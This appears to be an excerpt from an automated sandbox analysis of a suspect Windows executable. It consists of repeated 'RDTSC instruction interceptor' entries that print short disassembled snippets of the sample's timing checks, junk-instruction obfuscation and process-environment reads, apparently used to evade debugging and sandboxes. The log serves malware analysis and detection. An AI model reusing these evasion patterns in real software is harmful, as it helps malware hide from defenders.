Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2784C second address: F27864 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F09FCF89C1Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007F09FCF89C2Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F27864 second address: F2786D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F28420 second address: F28424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F28424 second address: F28438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F09FCB0888Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F28438 second address: F28452 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F09FCF89C2Ch 0x00000008 jmp 00007F09FCF89C20h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F28452 second address: F2846C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F09FCB08891h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2846C second address: F28478 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F28478 second address: F2847E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2BE76 second address: F2BE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2BE7F second address: F2BE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2BE88 second address: F2BE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2BFC0 second address: F2BFD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08890h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F2BFD4 second address: F2BFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F09FCF89C1Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F774A3 second address: F774A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F774A9 second address: F774AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F774AF second address: F774D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F09FCB08891h 0x0000000a jnl 00007F09FCB08886h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F774D0 second address: F774D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F77325 second address: F77329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F77329 second address: F7732F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F7732F second address: F77339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F77339 second address: F7733D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F7733D second address: F77359 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F09FCB08886h 0x00000008 jmp 00007F09FCB0888Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: F7ADAC second address: F7ADB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1040EE9 second address: 1040EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1042FF9 second address: 1043010 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F09FCF89C16h 0x00000008 jmp 00007F09FCF89C1Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1045C43 second address: 1045C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1045C48 second address: 1045C53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F09FCF89C16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1045CFE second address: 1045D5A instructions: 0x00000000 rdtsc 0x00000002 je 00007F09FCB08891h 0x00000008 jmp 00007F09FCB0888Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dl, 94h 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F09FCB08888h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 sub edx, 0E2C373Fh 0x00000036 mov dword ptr [ebp+124567FCh], esi 0x0000003c push D96904F4h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 jnp 00007F09FCB08886h 0x0000004a ja 00007F09FCB08886h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1048D4B second address: 1048D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1048D50 second address: 1048D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1048D5F second address: 1048D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1048D65 second address: 1048D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 1048D69 second address: 1048D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010031 second address: 7010043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB0888Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010043 second address: 701009E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ecx, edi 0x0000000d popad 0x0000000e mov eax, dword ptr fs:[00000030h] 0x00000014 jmp 00007F09FCF89C22h 0x00000019 sub esp, 18h 0x0000001c jmp 00007F09FCF89C20h 0x00000021 xchg eax, ebx 0x00000022 jmp 00007F09FCF89C20h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F09FCF89C1Eh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701009E second address: 70100E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F09FCB08896h 0x0000000f mov ebx, dword ptr [eax+10h] 0x00000012 jmp 00007F09FCB08890h 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F09FCB0888Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70100E6 second address: 70100EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70100EA second address: 70100F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70100F0 second address: 7010168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCF89C1Ch 0x00000009 sub esi, 4A666F18h 0x0000000f jmp 00007F09FCF89C1Bh 0x00000014 popfd 0x00000015 mov cx, E6CFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e call 00007F09FCF89C1Bh 0x00000023 pushad 0x00000024 popad 0x00000025 pop eax 0x00000026 mov ebx, 7ADF47EAh 0x0000002b popad 0x0000002c xchg eax, esi 0x0000002d jmp 00007F09FCF89C21h 0x00000032 mov esi, dword ptr [770206ECh] 0x00000038 jmp 00007F09FCF89C1Eh 0x0000003d test esi, esi 0x0000003f pushad 0x00000040 mov cl, 71h 0x00000042 mov ecx, ebx 0x00000044 popad 0x00000045 jne 00007F09FCF8AB08h 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010168 second address: 701016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701016F second address: 7010175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010175 second address: 7010179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010179 second address: 70101A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F09FCF89C25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70101A2 second address: 70101FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCB08897h 0x00000009 adc cx, 815Eh 0x0000000e jmp 00007F09FCB08899h 0x00000013 popfd 0x00000014 mov si, 6627h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F09FCB08898h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70101FE second address: 701023F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b call 00007F09FCF89C24h 0x00000010 call 00007F09FCF89C22h 0x00000015 pop esi 0x00000016 pop edi 0x00000017 mov ah, 42h 0x00000019 popad 0x0000001a call dword ptr [76FF0B60h] 0x00000020 mov eax, 7571E5E0h 0x00000025 ret 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov ecx, edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701023F second address: 70102B7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F09FCB0888Bh 0x00000008 add ah, FFFFFFDEh 0x0000000b jmp 00007F09FCB08899h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F09FCB08890h 0x00000019 and ecx, 4E4286D8h 0x0000001f jmp 00007F09FCB0888Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push 00000044h 0x00000028 pushad 0x00000029 mov bx, ax 0x0000002c jmp 00007F09FCB08890h 0x00000031 popad 0x00000032 pop edi 0x00000033 pushad 0x00000034 movzx ecx, bx 0x00000037 mov ax, bx 0x0000003a popad 0x0000003b push ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70102B7 second address: 70102BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70102BB second address: 70102C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70102C1 second address: 70102DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCF89C25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70102DA second address: 70102FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F09FCB08898h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70102FF second address: 7010359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 3F9193D4h 0x00000008 jmp 00007F09FCF89C1Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push dword ptr [eax] 0x00000012 jmp 00007F09FCF89C1Eh 0x00000017 mov eax, dword ptr fs:[00000030h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F09FCF89C1Dh 0x00000026 sbb ecx, 29EBFBF6h 0x0000002c jmp 00007F09FCF89C21h 0x00000031 popfd 0x00000032 mov ch, 40h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70103BF second address: 7010401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 call 00007F09FCB0888Bh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test esi, esi 0x00000010 jmp 00007F09FCB0888Fh 0x00000015 je 00007F0A6CA97B4Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F09FCB08895h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010401 second address: 7010472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCF89C27h 0x00000009 and ch, 0000005Eh 0x0000000c jmp 00007F09FCF89C29h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F09FCF89C20h 0x00000018 and al, 00000058h 0x0000001b jmp 00007F09FCF89C1Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 sub eax, eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F09FCF89C22h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010472 second address: 7010478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010478 second address: 701047C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701047C second address: 7010519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi], edi 0x0000000a jmp 00007F09FCB08899h 0x0000000f mov dword ptr [esi+04h], eax 0x00000012 jmp 00007F09FCB0888Eh 0x00000017 mov dword ptr [esi+08h], eax 0x0000001a pushad 0x0000001b jmp 00007F09FCB0888Eh 0x00000020 pushfd 0x00000021 jmp 00007F09FCB08892h 0x00000026 jmp 00007F09FCB08895h 0x0000002b popfd 0x0000002c popad 0x0000002d mov dword ptr [esi+0Ch], eax 0x00000030 jmp 00007F09FCB0888Eh 0x00000035 mov eax, dword ptr [ebx+4Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F09FCB08897h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010519 second address: 701051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701051F second address: 7010523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010523 second address: 7010527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010527 second address: 7010561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+10h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F09FCB08898h 0x00000014 sub cl, FFFFFFC8h 0x00000017 jmp 00007F09FCB0888Bh 0x0000001c popfd 0x0000001d movzx eax, bx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010561 second address: 7010567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70107A7 second address: 70107AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70107AB second address: 70107C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70107C8 second address: 70107FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+34h], eax 0x0000000c pushad 0x0000000d mov di, si 0x00000010 movzx esi, dx 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+18h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F09FCB0888Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70107FB second address: 7010800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010800 second address: 701081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esi+38h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F09FCB0888Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701081B second address: 7010899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCF89C1Fh 0x00000009 and ah, FFFFFFCEh 0x0000000c jmp 00007F09FCF89C29h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, dword ptr [ebx+1Ch] 0x00000018 pushad 0x00000019 push edx 0x0000001a jmp 00007F09FCF89C26h 0x0000001f pop ecx 0x00000020 popad 0x00000021 mov dword ptr [esi+3Ch], eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007F09FCF89C28h 0x0000002d xor ah, FFFFFFD8h 0x00000030 jmp 00007F09FCF89C1Bh 0x00000035 popfd 0x00000036 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010899 second address: 7010924 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushfd 0x00000008 jmp 00007F09FCB0888Bh 0x0000000d xor eax, 73EC889Eh 0x00000013 jmp 00007F09FCB08899h 0x00000018 popfd 0x00000019 pop ecx 0x0000001a popad 0x0000001b mov eax, dword ptr [ebx+20h] 0x0000001e jmp 00007F09FCB08897h 0x00000023 mov dword ptr [esi+40h], eax 0x00000026 jmp 00007F09FCB08896h 0x0000002b lea eax, dword ptr [ebx+00000080h] 0x00000031 jmp 00007F09FCB08890h 0x00000036 push 00000001h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov edi, 1E8B1840h 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010924 second address: 7010962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 pushfd 0x00000007 jmp 00007F09FCF89C1Eh 0x0000000c jmp 00007F09FCF89C25h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F09FCF89C1Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010962 second address: 7010972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB0888Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010972 second address: 7010976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010976 second address: 701099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F09FCB0888Eh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F09FCB0888Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701099C second address: 70109A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70109A0 second address: 70109A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70109A6 second address: 70109D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c jmp 00007F09FCF89C20h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov edi, 7CB90AF0h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70109D6 second address: 70109DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70109DB second address: 70109EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCF89C1Bh 0x00000009 rdtsc
